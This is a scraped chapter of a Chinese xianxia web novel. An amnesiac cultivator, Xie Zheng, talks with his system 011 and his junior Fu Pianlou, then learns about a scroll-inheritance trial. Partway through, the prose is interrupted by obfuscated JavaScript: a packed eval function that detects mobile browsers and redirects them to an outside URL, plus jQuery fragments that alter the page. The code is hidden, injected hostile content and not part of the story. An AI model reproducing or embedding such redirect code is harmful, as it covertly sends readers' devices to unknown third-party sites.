谢征的头很痛。
识海一片混乱, 冲天的火光和血色摇摇欲坠,顷刻间跌落为虚无。
燃烧着的剑庄不见了, 杀上来的那群世家兵马也不见了。
黑暗中, 唯有沈应看的身影如剑般矗立。
他抬起手,指尖浮现出一朵鹅黄色的月见花,点入自己的眉心。
随后, 他便出现在了这里,身旁围拢着一圈陌生的面孔。
分明如此颠覆常识
可谢征竟然一点也不觉得奇怪。
他撑着坐起身,环顾四周,视线最终定格在距离最近的那人身上。
自打他问出“你是谁”的话后, 对方就愣在原地, 一动不动, 恍若一尊雕像。
那是位年轻男子, 姿容之端丽,实属为生平罕见, 叫人想忽略也难。
更遑论方才一醒来, 他便急急忙忙地凑近, 显然是一早就候在旁边的。
精雕细琢的五官, 左眸似有残缺,以一条白绫扎起。
剩下的一只眼睛牢牢盯住他, 不可置信极了, 呓语般地问“你说什么”
话一出口, 青年猛然回过神来,一把抓住他的手“你怎么了发生了什么”
触觉冰冷,谢征轻轻蹙眉,身体也太过虚寒。
他没有挣开,下意识反握回去。合拢手指后却是一怔, 为这般从未有过的亲昵感到莫名其妙。
定了定神,压下纷乱的念头,谢征平静答道“我也想知道。”
他不是傻子,都到了这里,怎会发觉不到其中异样
除却他于剑庄生活的那些年,从前身为孤儿摸爬滚打的印象模糊到仅剩一个念头,好像只是被灌输了类似的设定,往深处扒便空空如也。
剑庄是假的,天下乱象是假的,所经历的一切都是假的。
直觉告诉他,眼前才是真实,可他偏偏半点也想不起来,无所适从。
这种滋味很不好,谢征从来是个谋定而后动的性格。
可无法辨明处境、对当下一无所知、还不得不面对似乎与自己关系匪浅的人饶是他素来随遇而安,也不免隐隐地烦躁起来。
就在这时,耳边蓦地响起一道奶乎乎的声音
宿主连小偏楼都不记得了吗
“谁在说话”
谢征目光一凝,那宛如年幼婴孩的嗓音竟像直接在识海中浮现,不属于所能看见的任何一人。
果然也不记得011了呜呜呜
对了,宿主可以直接在心里和011交流,不要出声啊除了小偏楼,大家都不知道的
“”
抬眼对上诸多疑惑的注视,谢征沉默片刻,装作头疼地扶了下额角。
于是那些疑惑立即转变为了担忧
“清规,你感觉如何”
“清规师弟,先躺下休息一会儿”
“谢师弟”
七嘴八舌,都是真切的焦急。
倒是伸手扶住他的那位仗着背对众人,露出古怪又好笑的神情。
“是011”
这一句是传音,谢征瞥他一眼,无师自通地传音回去。
“你就是小偏楼”
青年剧烈地咳嗽起来。
缓了好一阵,他才艰难出声“我叫傅偏楼。”
脸颊还有些泛红,不知是咳得太厉害,还是因为别的什么。
“傅偏楼”
谢征低声念过,从中觉察出一股难言的熟悉。
他重又将人端详了遍,视线在那条蒙眼的白绫上一顿;继而,径直撞上漆黑的右瞳。
形如杏子,线条风流,犹如水墨迤逦铺陈。
清澈的瞳孔中倒映着他的身影,始终不离左右。
这令谢征不由记起曾经突兀跃入脑海中的那双异眸,心底微微一动。
“是你”
傅偏楼指着自己,不明所以“我”
谢征不答,反问道“你与我,是何关系”
他的状况着实不对,态度疏离,却又十分镇定。
傅偏楼不禁拧眉,想了想说“我是你师弟。”
“你我同出云仪仙境问剑谷无律真人门下,此前随师门一并来到虞渊养心宫,以神识入画,接受画卷之主的考验。”
“眼下考验已过,不知你那边出了什么岔子,变成这番模样。”
像是明白失忆之人的种种疑虑,他三言两语就将前因处境交代清楚。
接着攥紧手指,安抚般地朝谢征扬起唇角,眸光柔和,“别担心,师兄,我绝不会害你。”
这一笑当真濯濯如春月柳,轩轩如朝霞举,说不出地令人信服。
谢征却瞧得出,在对方看似从容的神色下,正死死压抑着急躁与不安。
他失去记忆,就这
样让他烦忧
谢征不禁疑虑再起“你我之间,只是师兄弟”
“当然不止”两人的纠葛哪里这么容易说清,傅偏楼语塞了下,干脆把问题抛回去,“那你觉得我们该是什么关系才对”
被问得一愣,谢征顺着话头,仔细思量起来。
没有缘由的信赖,不同寻常的亲近,不必言说的了解。
一举一动,无不关照;即便遗忘,也残存着微薄印象,沉重得令人匪夷所思。
目光移至两人交握在一起的手上,哪家正经师兄弟会这般自然地互相触碰未免太腻歪。
谢征突然找到一个合理的解释。
他抿了抿唇,低声道“道侣”
这一句放得极低,语气多有犹疑,但在场的修士哪个不是耳聪目明,当即听了个十成十过去。
顿时,小吉女面色古怪,宣明聆笑意僵硬,陈不追瞪圆了眼睛。
蔚凤脚下一个趔趄,连带着琼光也差点摔倒,好不容易才稳住身形。
识海中的011更是瞬间短路,发出滋滋的掉线电流音。
傅偏楼“”
他头脑一片空白,彻头彻尾地傻了。
罪魁祸首看着众人接二连三吓出的乱象,倒很淡定“不是”
当然不是
011惊叫,宿主你怎么会这么想你跟小偏楼
“你似乎一直跟着我,竟不曾发觉么”
谢征在心底打断它,“他对我有情。”
仿佛五雷轰顶,011宕机又重启了好几个来回,才敢颤巍巍地去观察傅偏楼的态度。
却见他愕然之余,也十分羞窘,从耳根到脖颈都染上了淡淡的绯色。
一时间容颜更盛,动摇非常。
有心之下,011就算再蠢,哪里看不出这是情根深种的表现
它喃喃道,可是,这怎么行呢是什么时候
宿主和小偏楼不不不,怎么可以
它几乎成了一团浆糊,谢征见它如此抗拒,挑眉问“为何不可”
就算他们是师兄弟,可修真者在此道无所顾忌,结为道侣也算不得什么稀罕事。
先、先不说小偏楼。
011磕磕巴巴地,宿主呢
“我么我不记得了。”
谢征借力站起身,自然而然地松开牵着傅偏楼的那只手,理了理凌乱的衣角。
余光瞥见对方欲言又止的生涩,他垂下眼睫,敛去眸中深思。
看样子,他们的确并非那种关系。
甚至,情意从未宣之于口,才会令身边人这般惊讶。
可就算不记得,感觉仍在。
“我仿佛很看重他,”谢征缓缓说,“与旁人皆不同。”
在那所谓的“考验”中,他于剑庄修行多年,去往天下各个角落,见过无数男男女女。
容色过人者,并不在少数,却无一人会予他这般悸动。
从眉眼到身段,眼巴巴跟在身后招人怜的姿态,没有一处不合意,简直是照着会让他顺眼心软的模板长出来一般。
想来,不是不喜欢。
既然如此,该是两情相悦才对。
傅偏楼的心思那样外露,他如今都能一眼看穿,没道理过去不懂。
故而他更加不解,为何没有言明
011罕见地沉默下去。
它知道,宿主素来机敏,不似它,总傻乎乎的。
他思虑重而缜密,漫漫仙途中,为了不走偏路,时常回顾错漏,剖析所作所为的不足之处。
这样一个将自我看得极清之人,会不明白自己的感情吗
就算当局者迷,一时不察,那对傅偏楼呢
谢征有多了解这位任务对象,011最明白。
经年累月、朝夕相伴、倾尽心力。
别说这般拙劣的掩饰,就连傅偏楼自己兴许都没有意识到的一些想法,他也瞧得出来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423868|141377||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
可偏偏,谢征没有。
独独对傅偏楼的旖旎情思,油盐不进,完全没能察觉。
忘记前尘旧事后,却一眼了然。
或许,011想,不是没能而是不能。
任务者要怎么和书中的反派boss在一起
他们,根本就不是同一个世界的人啊
相处时日太长,长到连它这个系统都快忘记了,谢征总有一日是要回到原本的家去的。
不如说,打一开始,他就始终在为此努力,付出良多。
宿主
011一句话也说不出来了,不知道为什么,突然有点想哭。
它觉得好辛苦。
谢征当然不知道这个小东西的脑袋瓜里在弯弯绕绕琢磨着什么。
他丢下那句石破天惊的话以后,
就像什么都没说过那般,冷静地环顾这处地方。
白雾蒙蒙,缠绕着足踝,半空中,古朴陈旧的画卷铺展开来,现出上边栩栩如生的七道人影。
他行至其中一人之下,仰起脸,定定凝望半晌。
瘦削冷漠的男人于画中回眸,似乎也在注视着他。
“沈应看”
剑庄经历的那些,多半就是他设下的考验。
这么看来,这人怕是早已故去,他所见到的,仅仅是对方留在画卷里的一抹神念。
谢征眸色深沉,抬手轻抚眉心。
那里好似还残留着月见花融化时的温热,连同沈应看最后的喟叹,一并深深没入识海。
往后交给他,是指什么
正出神间,旁边忽然走来一人,停步在沈应看的画像底端,轻轻叹道
“独行剑仙沈应看,乃三百年前,仙境七杰之首。”
谢征一顿,侧首去看。
少女朝他微微一笑,颊边梨涡绽开“裴君灵,叫我阿裴就好。”
“阿裴姑娘认得他”谢征扫过她一眼,“你似乎知道不少东西。”
“失忆也这般镇定,清规果真并非常人,难怪沈前辈会认可你。”裴君灵道,“你还记得沈前辈,看来真是考验所致。先前,清规是否得过什么神念传承”
“神念传承”
她是不是说两仪剑给宿主的那道印记011提道,对哦,宿主额上有了这朵花后,才变得不对劲的
“看来不错。”裴君灵想明白,松了口气,对亦步亦趋跟来的傅偏楼道,“大抵是其中有些冲突,才致使清规记忆混乱,仍然沉浸在考验之中。等从这边出去多半就会好了。”
傅偏楼眨眨眼“哦”
他还有点恍恍惚惚的,反应都慢上半拍。
被一句话折腾成这样,多少有些可怜了。
谢征又是好笑,又有点无奈,轻叹口气,摇头道
“我的事就先搁置。阿裴姑娘,可是有什么话想说”
“对了,”蔚凤也整理好了心情,走过来问,“先前不是要等清规师弟醒来,再与我们解释摘花之事眼下总可说了。”
他点了点眉心,凤目一挑“这个,究竟是什么”
“养心宫为寻空净珠所办的这场拈花会恐怕,并不简单吧。”
虽能感到这位小吉女并无恶意,但始终被蒙在鼓里,到底不是什么好滋味。
闻言,裴君灵目光扫过众人,忽而俯身一拜。
“诸位,”她似怀有歉疚,缓缓说道,“摘花礼道七宗卷,从来都与空净珠无关,而是一道传承。”
“传承”
裴君灵点点头,抚上眉心。
须臾,一朵木槿花浮现于指尖,与此同时,她额头上的印记变浅几分,与雪白肤色融为一体。不仔细看,根本瞧不出来。
“七道画卷,各设七道考验。”她道,“分别由七位前辈所设,旨在排查心性,挑选传人。”
“唯有在考验中被前辈认可,亲手往识海中打入花者,才能算作摘花。否则所拿到的,仅为一朵空壳,不过充作掩饰用的假象。”
“而当七道画卷之花尽数被摘取、也就是七位前辈全部选中了满意之人时,方可打开真正的摘花礼道总卷。”
裴君灵声线略颤,嗓音不知不觉已十分嘶哑。
“那是三百多年前的修士,为这天下所留的东西。”
“养心宫蛰伏多时,兢兢业业、忍气吞声而今,终于能将此事大白。” ,